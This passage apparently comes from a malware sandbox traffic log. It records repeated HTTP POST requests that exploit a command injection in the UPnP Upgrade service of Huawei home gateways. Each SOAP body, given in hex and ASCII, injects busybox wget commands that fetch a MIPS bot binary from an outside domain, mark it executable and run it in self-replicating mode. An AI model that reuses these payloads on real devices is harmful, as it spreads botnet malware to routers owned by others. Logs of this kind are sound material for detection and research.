6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 